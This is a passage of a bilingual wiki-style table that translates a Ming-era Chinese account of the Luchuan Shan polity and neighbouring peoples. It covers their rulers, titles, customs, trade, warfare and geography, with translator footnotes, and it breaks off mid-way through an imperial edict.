Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- |上下僭奢，雖微職亦繫鈒花金銀帶。貴賤皆戴筍籜帽，而飾金寶於頂，如浮圖狀，懸以金玉，插以珠翠花，被以毛纓，綴以毛羽。貴者衣綺麗。每出入，象馬僕從滿途。象以銀鏡數十聯綴於羈靮，緣以銀釘，鞍上有闌如交椅狀，藉以裀褥，上設錦障蓋，下懸銅響鈴，坐一奴鞍後，執長鉤驅止之。遇貴於己者，必讓途而往。凡相見必合掌而拜，習胡人之跪。長於己者必拜跪之，言則叩頭受之。叨孟以下見其主，則膝行以前，二步一拜，退亦如之。執事於貴人之側，雖跪終日無倦狀。貴人之前過，必磬折鞠躬。宴会則貴人上坐，其次列坐於下，以逮至賤。先以沽茶及蒌葉、檳榔啖之（沽茶者，山中茶葉，春夏間采煮之，實於竹筒内，封以竹箬，過一二歲取食之，味極佳，然不可用水煎飲）。次具飯，次進酒饌，俱用冷而無熱。每客必一仆持水瓶側跪，俟嗽口盥手而後食。食畢亦如之，而後起。客十則十人各行一客。酒或以杯，或用筒（筒以蕨楷，或用鵝翎管連贯，各長丈餘，漆之而飾以金，假若一酿酒，則漬以水一滿瓮，插筒手中，立標以驗其盏數，人各以次舉筒咂之。咂酒一盏，仍漬水一盏，傳之次客，味甚佳，至淡，水方止，俗呼为咂酒）。酒與食物必祭而後食，食不用筯。酒初行，一人大噪，眾皆合之，如此者三，乃舉樂。樂有三等：琵琶、胡琴、等笛、響盏之類，效中原音，大百夷樂也。笙阮、排簫、箜篌、琵琶之類，人各拍手歌舞，作緬國之曲，緬樂也。銅饒、銅鼓、響板、大小長皮鼓，以手拊之，與僧道樂頗等者，車里樂也。村甸間擊大鼓，吹芦笙，舞干为宴。長者授卑賤酒食，必叩頭受之，易以他器而食。食畢，仍叩頭而退。 |The people, both high and low [in status], were extravagantly overstepping [in their dress]. Even small duty officials fastened engraved, patterned belts of gold and silver. [Both] nobles and commoners wore bamboo-shoot-woven hats and decorated them with gold, like a crown resembling pagodas, hanging with jade and gold and inserted with pearls and colourful gems, covered with tassels and quilted feathers. The clothes of wealthy individuals are enchantingly beautiful. Whenever one goes out, elephants, horses, and servants fill the roads. The elephants have about ten or so silver mirrors attached to their reins and bridles, edged with silver nails. On the saddle, there is a railing resembling an old wooden-style armchair with cushion-like under padding, a mattress, and brocade above the top and copper ringing bells below [it]. A servant was seated behind the saddle, grasping a long hook to urge and stop [the elephant]. Upon encountering a wealthy person, they certainly yield the way to them. Commonly, when meeting one another, they certainly clasp hands and bow, adopting the kneeling [custom] of the Northwestern peoples [of China]. Elders to oneself are bowed to and kneelt before, and when speaking, they are subjected to kowtow to them. Those below '''Dāomèng''' ('''叨孟'''), seeing their masters, kneel before them, every two steps a bow, and repeat it during withdrawal. Attendants are at a wealthy person's side, despite kneeling all day, do not appear tired. When a wealthy person passes by, they bow deeply.<ref>The sentence is poetically describing the bow as "bending the body as to resemble 磬, a type of percussion instrument". </ref> In banquets, the wealthy are seated first, then next in line are the ones below them and so on, by means to the lowest [of status]. First, they are given tea, areca nuts and betel leaves (The given tea leaves are [harvested] in mountains and brewed in Spring and Summer, stuffed into bamboo tubes, sealed with bamboo leaves for one to two years, ready for consumption, tasting extremely fine, however, cannot be brewed by boiling in water for drinking. Next [to] be provided is rice, following that is wine and delicacies are are [consumed] cold and unheated. Every guest has a servant kneeling on the side holding a water bottle, waiting to cough and rinse the mouth and hands with water and then eat. [Upon] finishing eating this is repeated and then they rise. In the case of ten guests, ten people attend them, one per guest. Wine is either served in a cup or a tube (The tubes are made from Pistachio Bracken or goose plume linked together). Every length is one '''Zhàng''' ('''丈;''' approximately 3m) painted and decorated with gold. If brewing wine, one pot of water is added. Inserting the tube into the hand, it is used to check for the number of cups [it can hold]. Each person lifts the tube to sip from it. After sipping a cup, a cup of water is added, and it is passed to the next person; the taste is exceedingly fine. When the wine's taste dilutes, water is stopped, and this is called '''sipping wine'''.) Wine and good must be sacrificed, and then they eat. Chopsticks are not used to eat. At the begining of the wine [ceremony], one person loudly shouts and multiple people all join in. This is done three times, and then music is played. There are three such types of music: Chinese lute, Huqin (Chinese fiddle) and the flute with ringing cups and so on. It imitates the sounds of the central region<ref>The Yellow River Basin area of China. </ref> and the Great White barbarians, too. Bagpipe, lutes, panpipes, harp, pipa and so on. People each clap their hands and dance. It is performed in Burmese tunes and music. Copper gong, bronze drum, castanets, big, small and long leather drums struck with the hand. It is similar to Buddhist and Taoist music, as well as '''Chēlǐ''' ('''車里''') music. Villages and suburbs have space for striking bass drums, blowing reed pipes and dancing for the feast. Elders give food and drink to the lowly [people], who certainly must bear to kowtow them to exchange utensils and eat. [Upon] finishing eating, they still kowtow and then retreat. |- |凡貿易必用銀，雜以銅，鑄若半卵狀，流通商賈間。官無倉庾，民無税粮。每年秋季，其主遣亲信部屬往各甸，计房屋征金銀，谓之取差發（房屋一間，大者征銀一两、三两，小者一两而止）。無中國文字，小事刻竹木，大事作緬书，皆旁行为记。刑名無律，不知鞭挞，轻罪則罚，重罪則死。或殺，或用人扱殺。或用象打，或投於水，或以绳帛缢。男婦不敢为奸盗，犯則殺之。 |All commercial trade must use silver, mixed with copper, cast to appear like a half egg [shape] to circulate among merchants. The government has no granaries,<ref>There are two characters for granaries, the second is for small private ones, signifying that most did not have this system at all. </ref> the people [likewise] have no grain tax. Every autumn, the owners dispatch trusted aides and subordinates to go to each suburb to calculate and levy households' gold and silver. This is called to go collect money. (For each house: large ones are taxed one or three [taels] of silver, small ones are taxed one tael.) There is no Chinese script; small matters are carved into bamboo or wood, big matters are written into Burmese script, all written horizontally for recording. No laws govern punishment; they do not know whipping or corporal punishment. Petty crimes are penalised, and serious crimes lead to death. Some are killed [directly], while some have another person employed to kill them. Some use elephants to crush them, some throw them in water, while some are hanged with ropes. Men and women do not dare commit adultery or robbery, to violate so will kill them. |- |所居無城池濠隍，惟编木立寨，貴賤悉构以草楼，無窗壁门户，时以花布障围四壁，以蔽风雨而已。邮傅一里設一小楼，數人守之，公事雖千里遠，报在顷刻。無軍民之分，聚則为軍，散則为民。遇有战斗，每三人或五人出軍一名，择其壮者为正軍，呼为『锡剌』。锡剌持兵御敌，余人荷所供。故軍行五六萬，战者不滿二萬。兵行不整，先後不一。多以象为雄势，战則缚身象上。裹革兜，被銅铁甲，用長镖干弩，不習弓矢。征战及造作用事，遇日月食則罢之，毁之。 |The [ruler's] dwelling place has no walls, water moats, trenches or dry moats, only wooden stockades erected. Both nobles and commoners all constructed thatched houses with no windows, ramparts or doors, just printed cloth covering around all four walls, as to cover [from] wind and rain and nothing more. Every mile, there was a small post office, a few people guarded it, [thus] documents even as far as a thousand miles can be reported instantly. There is no distinction between military and civilian [people]. Once assembled, they became soldiers; once scattered, they became civilians. Upon encountering a war, every three or five people would produce one soldier; they would select the strongest to become the principal armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |The above spoken by the King of Burma: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 | |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- 